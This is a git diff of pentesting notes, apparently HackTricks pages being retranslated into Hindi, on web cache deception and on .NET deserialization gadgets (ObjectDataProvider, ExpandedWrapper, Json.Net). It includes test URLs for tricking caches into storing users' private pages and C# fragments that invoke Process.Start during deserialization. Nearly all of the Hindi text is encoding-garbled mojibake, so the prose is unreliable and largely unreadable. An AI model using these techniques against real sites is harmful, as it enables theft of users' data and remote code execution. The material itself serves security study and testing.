рднреЗрдЬрдиреЗ рд╕реЗ cacheable 400 Bad Request error рдмрди рдЬрд╛рддреА рдереАред
-### Finding new headers
+### рдирдП headers рдвреВрдБрдврдирд╛
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## Cache Deception
-рдЙрджреНрджреЗрд╢реНрдп рдпрд╣ рд╣реИ рдХрд┐ clients рдЙрди resources рдХреЛ load рдХрд░реЗрдВ рдЬрд┐рдиреНрд╣реЗрдВ cache рдЙрдирдХреЗ sensitive information рдХреЗ рд╕рд╛рде save рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рд╣реИред
+Cache Deception рдХрд╛ рд▓рдХреНрд╖реНрдп clients рдХреЛ рдЙрди resources рдХреЛ load рдХрд░рд╛рдирд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ cache рдЙрдирдХреЗ sensitive information рдХреЗ рд╕рд╛рде save рдХрд░ рджреЗрдЧрд╛ред
-рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ extensions рдЬреИрд╕реЗ `.css`, `.js`, `.png` рдЖрджрд┐ рдЖрдорддреМрд░ рдкрд░ cache рдореЗрдВ save рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП configured рд╣реЛрддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдЕрдЧрд░ рдЖрдк `www.example.com/profile.php/nonexistent.js` рдПрдХреНрд╕реЗрд╕ рдХрд░рддреЗ рд╣реИрдВ рддреЛ cache рд╕рдВрднрд╡рддрдГ response рдХреЛ store рдХрд░ рд▓реЗрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕реЗ `.js` extension рджрд┐рдЦрддрд╛ рд╣реИред рд▓реЗрдХрд┐рди, рдЕрдЧрд░ application `www.example.com/profile.php` рдореЗрдВ stored sensitive user contents рдХреЗ рд╕рд╛рде reply рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк рдЙрди contents рдХреЛ рдЕрдиреНрдп users рд╕реЗ рдЪреЛрд░реА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
+рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **extensions** рдЬреИрд╕реЗ `.css`, `.js`, `.png` рдЖрджрд┐ рдЖрдорддреМрд░ рдкрд░ cache рдореЗрдВ **saved** рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП **configured** рд╣реЛрддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдк `www.example.com/profile.php/nonexistent.js` рддрдХ рдкрд╣реБрдБрдЪрддреЗ рд╣реИрдВ рддреЛ cache рд╕рдВрднрд╡рддрдГ response рдХреЛ store рдХрд░ рд▓реЗрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ рд╡рд╣ `.js` **extension** рдХреЛ рджреЗрдЦрддрд╛ рд╣реИред рд▓реЗрдХрд┐рди, рдпрджрд┐ **application** _www.example.com/profile.php_ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА **sensitive** рд╕рд╛рдордЧреНрд░реА рдХреЛ replay рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк рдЙрди рд╕рд╛рдордЧреНрд░реА рдХреЛ рдЕрдиреНрдп users рд╕реЗ **steal** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
-рдЕрдиреНрдп рдЪреАрдЬреЗрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЯреЗрд╕реНрдЯ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП:
+рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рдЕрдиреНрдп рдЪреАрдЬрд╝реЗрдВ:
- _www.example.com/profile.php/.js_
- _www.example.com/profile.php/.css_
@@ -269,19 +270,19 @@ Caches рдЕрдХреНрд╕рд░ cache key рдореЗрдВ specific GET parameters рдХреЛ рд╢рд╛
- _www.example.com/profile.php/%2e%2e/test.js_
- _Use lesser known extensions such as_ `.avif`
-рдПрдХ рдФрд░ рдмрд╣реБрдд рд╕рд╛рдл рдЙрджрд╛рд╣рд░рдг рдЗрд╕ write-up рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
-рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдЕрдЧрд░ рдЖрдк рдПрдХ non-existent рдкреЗрдЬ рдЬреИрд╕реЗ _http://www.example.com/home.php/non-existent.css_ рд▓реЛрдб рдХрд░рддреЗ рд╣реИрдВ рддреЛ _http://www.example.com/home.php_ (рдпреВрдЬрд╝рд░ рдХреА sensitive рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд╕рд╛рде) рдХрд╛ content рд▓реМрдЯрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ cache server рдкрд░рд┐рдгрд╛рдо рдХреЛ save рдХрд░ рд▓реЗрдЧрд╛ред\
-рдлрд┐рд░, attacker рдЕрдкрдирд╛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ _http://www.example.com/home.php/non-existent.css_ рдПрдХреНрд╕реЗрд╕ рдХрд░ рдХреЗ рдЙрди рдпреВрдЬрд╝рд░реНрд╕ рдХреА confidential information рджреЗрдЦ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдкрд╣рд▓реЗ рдЙрд╕ рдкреЗрдЬ рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░ рдЪреБрдХреЗ рдереЗред
+рдПрдХ рдФрд░ рд╕реНрдкрд╖реНрдЯ рдЙрджрд╛рд╣рд░рдг рдЗрд╕ write-up рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).
+рдЙрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдпрджрд┐ рдЖрдк _http://www.example.com/home.php/non-existent.css_ рдЬреИрд╕реА non-existent page рд▓реЛрдб рдХрд░рддреЗ рд╣реИрдВ рддреЛ _http://www.example.com/home.php_ рдХреА рд╕рд╛рдордЧреНрд░реА (рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА **sensitive information** рдХреЗ рд╕рд╛рде) рд▓реМрдЯрд╛рдИ рдЬрд╛рдПрдЧреА рдФрд░ cache server рдкрд░рд┐рдгрд╛рдо рдХреЛ save рдХрд░ рд▓реЗрдЧрд╛ред
+рдлрд┐рд░, **attacker** рдЕрдкрдиреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ _http://www.example.com/home.php/non-existent.css_ рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рдХреЗ рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА **confidential information** рджреЗрдЦ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЛрдВрдиреЗ рдкрд╣рд▓реЗ рдкрд╣реБрдБрдЪ рдХрд┐рдпрд╛ рдерд╛ред
-рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ cache proxy рдХреЛ рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рдЙрдирдХреЗ extension (рдЬреИрд╕реЗ _.css_) рдХреЗ рдЖрдзрд╛рд░ рдкрд░ cache рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП configured рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рди рдХрд┐ content-type рдХреЗ рдЖрдзрд╛рд░ рдкрд░ред рдЙрджрд╛рд╣рд░рдг рдореЗрдВ _http://www.example.com/home.php/non-existent.css_ рдХрд╛ content-type `text/html` рд╣реЛрдЧрд╛ рди рдХрд┐ `text/css` mime typeред
+рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ cache proxy рдХреЛ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдЙрдирдХреА extension (.css) рдХреЗ рдЖрдзрд╛рд░ рдкрд░ cache рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП configured рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдирд╛ рдХрд┐ content-type рдХреЗ рдЖрдзрд╛рд░ рдкрд░ред рдЙрджрд╛рд╣рд░рдг рдореЗрдВ _http://www.example.com/home.php/non-existent.css_ рдХрд╛ content-type `text/html` рд╣реЛрдЧрд╛, рди рдХрд┐ `text/css` mime typeред
-рдпрд╣рд╛рдБ рд╕реАрдЦреЗрдВ рдХрд┐ рдХреИрд╕реЗ HTTP Request Smuggling рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ Cache Deceptions attacks perform рдХрд┐рдпреЗ рдЬрд╛рддреЗ рд╣реИрдВ: ../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception
+рдпрд╣рд╛рдБ рдЬрд╛рдиреЗрдВ рдХрд┐ рдХреИрд╕реЗ [Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ Cache Deception рдХрд┐рдпрд╛ рдЬрд╛рдПред
-## Automatic Tools
+## рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЯреВрд▓реНрд╕
-- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner рдЬреЛ URL рдХреА list рдореЗрдВ web cache poisoning vulnerabilities рдЦреЛрдЬрддрд╛ рд╣реИ рдФрд░ multiple injection techniques рдХреЛ рдЯреЗрд╕реНрдЯ рдХрд░рддрд╛ рд╣реИред
+- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner рдЬреЛ URL рдХреА рд╕реВрдЪреА рдореЗрдВ web cache poisoning vulnerabilities рдЦреЛрдЬрдиреЗ рдФрд░ рдХрдИ injection techniques рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИред
-## References
+## рд╕рдВрджрд░реНрдн
- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
index b7b0f25c6..9f8c75af0 100644
--- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
+++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
@@ -1,20 +1,20 @@
-# рдмреЗрд╕рд┐рдХ .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
+# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
{{#include ../../banners/hacktricks-training.md}}
-This post is dedicated to **рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ gadget ObjectDataProvider рдХрд╛ рдХреИрд╕реЗ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ** рддрд╛рдХрд┐ RCE рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдФрд░ **рдХреИрд╕реЗ** Serialization рд▓рд╛рдЗрдмреНрд░реЗрд░реАрдЬрд╝ **Json.Net рдФрд░ xmlSerializer рдХреЛ рдЙрд╕ gadget рдХреЗ рд╕рд╛рде рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ**ред
+рдпрд╣ рдкреЛрд╕реНрдЯ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдпрд╣ рд╕рдордЭрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдорд░реНрдкрд┐рдд рд╣реИ рдХрд┐ рдХреИрд╕реЗ ObjectDataProvider gadget рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдХреЗ RCE рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдХреИрд╕реЗ Serialization рд▓рд╛рдЗрдмреНрд░реЗрд░реАрдЬрд╝ Json.Net рдФрд░ xmlSerializer рдЙрд╕ gadget рдХреЗ рд╕рд╛рде рджреБрд░реНрд╡реНрдпрд╡рд╣рд╛рд░ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВред
## ObjectDataProvider Gadget
-From the documentation: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
-рд╣рд╛рдБ, рдпреЗ рдПрдХ рдЕрдЬреАрдм рд╡реНрдпрд╛рдЦреНрдпрд╛ рд╣реИ, рддреЛ рдЖрдЗрдП рджреЗрдЦреЗрдВ рдХрд┐ рдЗрд╕ рдХреНрд▓рд╛рд╕ рдореЗрдВ рдРрд╕рд╛ рдХреНрдпрд╛ рд╣реИ рдЬреЛ рдЗрддрдирд╛ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ: рдпрд╣ рдХреНрд▓рд╛рд╕ рдХрд┐рд╕реА рднреА arbitrary object рдХреЛ **wrap** рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, _**MethodParameters**_ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **arbitrary parameters set** рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдлрд┐рд░ **MethodName рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ arbitrary object рдХреЗ рдХрд┐рд╕реА рднреА function рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдП рдЧрдП parameters рдХреЗ рд╕рд╛рде рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ**ред\
-рдЗрд╕рд▓рд┐рдП, arbitrary **object** **deserialized** рд╣реЛрддреЗ рд╕рдордп **parameters рдХреЗ рд╕рд╛рде рдПрдХ function execute** рдХрд░реЗрдЧрд╛ред
+рдбреЙрдХреНрдпреВрдореЗрдВрдЯреЗрд╢рди рдХреЗ рдЕрдиреБрд╕рд╛рд░: _ObjectDataProvider рдХреНрд▓рд╛рд╕ рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рд▓рдкреЗрдЯрддрд╛ рд╣реИ рдФрд░ рдПрдХ рдРрд╕рд╛ рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдЖрдк рдПрдХ рдмрд╛рдЗрдВрдбрд┐рдВрдЧ рд╕реНрд░реЛрдд (binding source) рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ_.\
+рд╣рд╛рдБ, рдпрд╣ рдПрдХ рдЕрдЬреАрдм рд╡реНрдпрд╛рдЦреНрдпрд╛ рд╣реИ, рддреЛ рдЖрдЗрдП рджреЗрдЦреЗрдВ рдХрд┐ рдЗрд╕ рдХреНрд▓рд╛рд╕ рдореЗрдВ рдРрд╕рд╛ рдХреНрдпрд╛ рд╣реИ рдЬреЛ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ: рдпрд╣ рдХреНрд▓рд╛рд╕ рдХрд┐рд╕реА рднреА рдПрдХ arbitrary object рдХреЛ **wrap** рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, _**MethodParameters**_ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **arbitrary parameters рд╕реЗрдЯ** рдХрд░ рд╕рдХрддреА рд╣реИ, рдФрд░ рдлрд┐рд░ _**MethodName**_ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рд╕реА рднреА arbitrary object рдХреЗ рдХрд┐рд╕реА рднреА function рдХреЛ рдЙрди рдШреЛрд╖рд┐рдд рдХрд┐рдП рдЧрдП arbitrary parameters рдХреЗ рд╕рд╛рде **call** рдХрд░ рд╕рдХрддреА рд╣реИред\
+рдЗрд╕рд▓рд┐рдП, arbitrary **object** deserialize рд╣реЛрддреЗ рд╕рдордп **parameters рдХреЗ рд╕рд╛рде рдПрдХ function** **execute** рдХрд░реЗрдЧрд╛ред
-### **How is this possible**
+### **рдпрд╣ рдХреИрд╕реЗ рд╕рдВрднрд╡ рд╣реИ**
-The **System.Windows.Data** namespace, рдЬреЛ рдХрд┐ **PresentationFramework.dll** рдореЗрдВ `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` рдкрд░ рдорд┐рд▓рддрд╛ рд╣реИ, рд╡рд╣реАрдВ ObjectDataProvider рдкрд░рд┐рднрд╛рд╖рд┐рдд рдФрд░ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
+**System.Windows.Data** namespace, рдЬреЛ **PresentationFramework.dll** рдХреЗ рднреАрддрд░ `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╡рд╣реА рдЬрдЧрд╣ рд╣реИ рдЬрд╣рд╛рдБ ObjectDataProvider рдкрд░рд┐рднрд╛рд╖рд┐рдд рдФрд░ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
-Using [**dnSpy**](https://github.com/0xd4d/dnSpy) рдЖрдк рдЙрд╕ рдХреНрд▓рд╛рд╕ рдХрд╛ **code inspect** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ рд╣рдо рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВред рдиреАрдЪреЗ рдХреЗ рдЗрдореЗрдЬ рдореЗрдВ рд╣рдо **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** рдХрд╛ code рджреЗрдЦ рд░рд╣реЗ рд╣реИрдВ
+[**dnSpy**](https://github.com/0xd4d/dnSpy) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк рдЙрд╕ рдХреНрд▓рд╛рд╕ рдХрд╛ **code inspect** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ рд╣рдореЗрдВ рджрд┐рд▓рдЪрд╕реНрдкреА рд╣реИред рдиреАрдЪреЗ рдХреА рдЗрдореЗрдЬ рдореЗрдВ рд╣рдо рджреЗрдЦ рд░рд╣реЗ рд╣реИрдВ рдХрд┐ PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name рдХрд╛ рдХреЛрдб рдХреНрдпрд╛ рджрд┐рдЦрд╛рддрд╛ рд╣реИ
.png>)
@@ -22,7 +22,7 @@ Using [**dnSpy**](https://github.com/0xd4d/dnSpy) рдЖрдк рдЙрд╕ рдХреНрд▓рд╛рд╕
.png>)
-рдареАрдХ рд╣реИ, рдЪрд▓рд┐рдП рдЖрдЧреЗ рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ `this.BeginQuery()` рдХреНрдпрд╛ рдХрд░рддрд╛ рд╣реИред `BeginQuery` рдХреЛ `ObjectDataProvider` рджреНрд╡рд╛рд░рд╛ override рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдпрд╣ рд╡рд╣реА рд╣реИ рдЬреЛ рдпрд╣ рдХрд░рддрд╛ рд╣реИ:
+рдареАрдХ рд╣реИ, рдЪрд▓рд┐рдП рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ `this.BeginQuery()` рдХреНрдпрд╛ рдХрд░рддрд╛ рд╣реИред `BeginQuery` рдХреЛ `ObjectDataProvider` рджреНрд╡рд╛рд░рд╛ override рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдпрд╣ рд╡рд╣реА рдХрд░рддрд╛ рд╣реИ:
.png>)
@@ -30,9 +30,9 @@ Using [**dnSpy**](https://github.com/0xd4d/dnSpy) рдЖрдк рдЙрд╕ рдХреНрд▓рд╛рд╕
.png>)
-рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ function `QueryWorker` рдХрд╛ рдкреВрд░рд╛ code рдирд╣реАрдВ рд╣реИ рд▓реЗрдХрд┐рди рдпрд╣ рдЙрд╕рдХрд╛ рд░реЛрдЪрдХ рд╣рд┐рд╕реНрд╕рд╛ рджрд┐рдЦрд╛рддрд╛ рд╣реИ: рдХреЛрдб **`this.InvokeMethodOnInstance(out ex);` рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ** тАФ рдпрд╣ рд╡рд╣ рд▓рд╛рдЗрди рд╣реИ рдЬрд╣рд╛рдБ **set рдХрд┐рдпрд╛ рдЧрдпрд╛ method invoke** рд╣реЛрддрд╛ рд╣реИред
+рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ `QueryWorker` рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдкреВрд░рд╛ рдХреЛрдб рдирд╣реАрдВ рд╣реИ рд▓реЗрдХрд┐рди рдпрд╣ рдЙрд╕рдХрд╛ рд░реЛрдЪрдХ рд╣рд┐рд╕реНрд╕рд╛ рджрд┐рдЦрд╛рддрд╛ рд╣реИ: рдХреЛрдб **`this.InvokeMethodOnInstance(out ex);` рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ** тАФ рдпрд╣реА рд╡рд╣ рд▓рд╛рдЗрди рд╣реИ рдЬрд╣рд╛рдБ **method set invoke** рд╣реЛрддрд╛ рд╣реИред
-рдпрджрд┐ рдЖрдк рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рдХреЗрд╡рд▓ _**MethodName**_ рд╕реЗрдЯ рдХрд░рдиреЗ рдкрд░ **рд╡рд╣ execute рд╣реЛрдЧрд╛**, рддреЛ рдЖрдк рдЗрд╕ рдХреЛрдб рдХреЛ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ:
+рдпрджрд┐ рдЖрдк рдпрд╣ рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рдХреЗрд╡рд▓ _**MethodName**_ рд╕реЗрдЯ рдХрд░рдиреЗ рднрд░ рд╕реЗ рдпрд╣ execute рд╣реЛ рдЬрд╛рдПрдЧрд╛, рддреЛ рдЖрдк рдпрд╣ рдХреЛрдб рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ:
```java
using System.Windows.Data;
using System.Diagnostics;
@@ -56,12 +56,10 @@ Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.
## ExpandedWrapper
-рдкрд┐рдЫрд▓реЗ exploit рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп рдРрд╕реЗ рдорд╛рдорд▓реЗ рд╣реЛрдВрдЧреЗрдВ рдЬрд╣рд╛рдБ **object** рдХреЛ _**ObjectDataProvider**_ instance рдХреЗ рд░реВрдк рдореЗрдВ **deserialized as** рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП DotNetNuke vuln рдореЗрдВ, XmlSerializer рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, object рдХреЛ `GetType` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ deserialized рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛)ред рддрдм _ObjectDataProvider_ instance рдореЗрдВ рдЬреЛ object type encapsulated рд╣реИ рдЙрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ (`Process` рдЬреИрд╕реЗ) **рдХреЛрдИ рдЬрд╛рдирдХрд╛рд░реА рдирд╣реАрдВ рд╣реЛрдЧреА**ред рдЖрдк DotNetNuke vuln рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1
+Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an _**ObjectDataProvider**_ instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the _ObjectDataProvider_ instance (`Process` for example). You can find more [DotNetNuke vuln рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБ](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
-рдпрд╣ рдХреНрд▓рд╛рд╕ рдХрд┐рд╕реА рджрд┐рдП рдЧрдП instance рдореЗрдВ encapsulated objects рдХреЗ **object types рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдЗрд╕рд▓рд┐рдП, рдЗрд╕ рдХреНрд▓рд╛рд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕реНрд░реЛрдд object (_ObjectDataProvider_) рдХреЛ рдПрдХ рдирдП object type рдореЗрдВ encapsulate рдХрд░рдиреЗ рдФрд░ рд╣рдореЗрдВ рдЬрд┐рди properties рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЙрдиреНрд╣реЗрдВ рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (_ObjectDataProvider.MethodName_ рдФрд░ _ObjectDataProvider.MethodParameters_)ред\
-рдпрд╣ рдЙрди рдорд╛рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реИ рдЬреИрд╕рд╛ рдХрд┐ рдкрд╣рд▓реЗ рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдХреНрдпреЛрдВрдХрд┐ рд╣рдо _**ObjectDataProvider**_ рдХреЛ рдПрдХ **_ExpandedWrapper_** instance рдХреЗ рдЕрдВрджрд░ wrap рдХрд░ рд╕рдХреЗрдВрдЧреЗ рдФрд░ **рдЬрдм deserialized рд╣реЛрдЧрд╛** рдпрд╣ рдХреНрд▓рд╛рд╕ _**OjectDataProvider**_ object рдмрдирд╛рдПрдЧреА рдЬреЛ _**MethodName**_ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ **function** рдХреЛ **execute** рдХрд░реЗрдЧреАред
-
-You can check this wrapper with the following code:
+This class allows to s**pecify the object types of the objects that are encapsulated** in a given instance. So, this class can be used to encapsulate a source object (_ObjectDataProvider_) into a new object type and provide the properties we need (_ObjectDataProvider.MethodName_ and _ObjectDataProvider.MethodParameters_).\
+рдпрд╣ рдкрд╣рд▓реЗ рдкреНрд░рд╕реНрддреБрдд рдорд╛рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ we will be able to **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_.
```java
using System.Windows.Data;
using System.Diagnostics;
@@ -85,11 +83,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
```
## Json.Net
-In the [official web page](https://www.newtonsoft.com/json) рдореЗрдВ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдпрд╣ рд▓рд╛рдЗрдмреНрд░реЗрд░реА **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рддреЛ, рдЕрдЧрд░ рд╣рдо **deserialize the ObjectDataProvider gadget** рдХрд░ рд╕рдХреЗрдВ, рддреЛ рд╕рд┐рд░реНрдлрд╝ рдПрдХ object рдХреЛ deserialize рдХрд░рдХреЗ рд╣реА рд╣рдо **RCE** рдкреИрджрд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
